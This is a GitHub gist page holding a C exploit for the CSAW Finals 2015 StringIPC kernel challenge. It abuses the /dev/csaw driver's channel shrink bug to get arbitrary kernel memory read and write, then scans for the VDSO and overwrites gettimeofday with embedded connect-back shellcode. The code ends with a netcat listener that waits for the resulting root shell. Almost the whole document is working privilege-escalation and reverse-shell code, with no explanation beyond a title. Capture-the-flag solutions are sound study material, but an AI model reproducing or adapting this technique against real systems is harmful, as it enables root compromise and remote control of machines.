-
-
Save itszn/20144eb7beefbc301bcf to your computer and use it in GitHub Desktop.
CSAW Finals 2015 StringIPC exploit using VDSO overwrite
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <sys/ioctl.h> | |
#include <stdio.h> | |
#include <fcntl.h> | |
#include <stdlib.h> | |
#include <errno.h> | |
#include <string.h> | |
#include <unistd.h> | |
#define CSAW_IOCTL_BASE 0x77617363 | |
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1 | |
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2 | |
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3 | |
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4 | |
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5 | |
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6 | |
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7 | |
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8 | |
struct alloc_channel_args { | |
size_t buf_size; | |
int id; | |
}; | |
struct open_channel_args { | |
int id; | |
}; | |
struct read_channel_args { | |
int id; | |
char *buf; | |
size_t count; | |
}; | |
struct write_channel_args { | |
int id; | |
char *buf; | |
size_t count; | |
}; | |
struct close_channel_args { | |
int id; | |
}; | |
struct shrink_channel_args { | |
int id; | |
size_t size; | |
}; | |
struct seek_channel_args { | |
int id; | |
loff_t index; | |
int whence; | |
}; | |
int ID = 0; | |
int FD = 0; | |
void readMem(void* ptr, void* addr, size_t count) { | |
struct seek_channel_args seekArgs; | |
seekArgs.id = ID; | |
seekArgs.index = addr-0x10; | |
seekArgs.whence = SEEK_SET; | |
int ret = ioctl(FD, CSAW_SEEK_CHANNEL, &seekArgs); | |
int err = errno; | |
//fprintf(stderr,"Seek: %x err:%u\n",ret,err); | |
struct read_channel_args readArgs; | |
readArgs.id = ID; | |
readArgs.buf = ptr; | |
readArgs.count = count; | |
ret = ioctl(FD, CSAW_READ_CHANNEL, &readArgs); | |
err = errno; | |
//fprintf(stderr,"read: %x err:%u\n",ret,err); | |
} | |
void writeMem(void* ptr, void* addr, size_t count) { | |
struct seek_channel_args seekArgs; | |
seekArgs.id = ID; | |
seekArgs.index = addr-0x10; | |
seekArgs.whence = SEEK_SET; | |
int ret = ioctl(FD, CSAW_SEEK_CHANNEL, &seekArgs); | |
int err = errno; | |
//fprintf(stderr,"Seek: %x err:%u\n",ret,err); | |
struct write_channel_args writeArgs; | |
writeArgs.id = ID; | |
writeArgs.buf = ptr; | |
writeArgs.count = count; | |
ret = ioctl(FD, CSAW_WRITE_CHANNEL, &writeArgs); | |
err = errno; | |
//fprintf(stderr,"write: %x err:%u\n",ret,err); | |
} | |
int main() { | |
int fd = open("/dev/csaw",O_NONBLOCK); | |
FD = fd; | |
struct alloc_channel_args arg1; | |
arg1.buf_size=100; | |
int ret = ioctl(fd,CSAW_ALLOC_CHANNEL,&arg1); | |
fprintf(stderr,"allocate fd: %d ret: %d id:%u\n",fd,ret,arg1.id); | |
ID = arg1.id; | |
struct shrink_channel_args shrinkArgs; | |
shrinkArgs.id = arg1.id; | |
shrinkArgs.size=101; | |
ret = ioctl(fd, CSAW_SHRINK_CHANNEL, &shrinkArgs); | |
int err = errno; | |
fprintf(stderr,"Shrink: %d err:%u\n",ret,err); | |
fprintf(stderr,"ZERO_SIZED_POINTER = %p\n",((void*)16)); | |
//Random buffer to throw things into | |
char* what = malloc(0x1000*0x1000); | |
//Root only connect back shellcode | |
char * sc = "\x90\x53\x48\x31\xC0\xB0\x66\x0F\x05\x48\x31\xDB\x48\x39\xC3\x75\x0F\x48\x31\xC0\xB0\x39\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x09\x5B\x48\x31\xC0\xB0\x60\x0F\x05\xC3\x48\x31\xD2\x6A\x01\x5E\x6A\x02\x5F\x6A\x29\x58\x0F\x05\x48\x97\x50\x48\xB9\xFD\xFF\xF2\xFA\x80\xFF\xFF\xFE\x48\xF7\xD1\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x07\x48\x31\xC0\xB0\xE7\x0F\x05\x90\x6A\x03\x5E\x6A\x21\x58\x48\xFF\xCE\x0F\x05\x75\xF6\x48\x31\xC0\x50\x48\xBB\xD0\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xD3\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x31\xD2\xB0\x3B\x0F\x05\x48\x31\xC0\xB0\xE7\x0F\x05"; | |
//Scanning for elf headers to find VDSO | |
void* header = 0; | |
void* loc = 0xffffffff80000000; | |
size_t i = 0; | |
for (; loc<0xffffffffffffafff; loc+=0x1000) { | |
readMem(&header,loc,8); | |
if (header==0x010102464c457f) { | |
fprintf(stderr,"%p elf\n",loc); | |
readMem(&header,loc+0x270,8); | |
//Look for 'clock_ge' signature (may not be at this offset, but happened to be) | |
if (header==0x65675f6b636f6c63) { | |
fprintf(stderr,"%p found it?\n",loc); | |
break; | |
} | |
} | |
} | |
//Write our shellcode over the gettimeofday function at offset 0xca0 | |
writeMem(sc,loc+0xca0,strlen(sc)); | |
//Wait a bit for a daemon or logger to call gettimeofday() | |
system("nc -l -p 3333 -v"); | |
exit(1); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment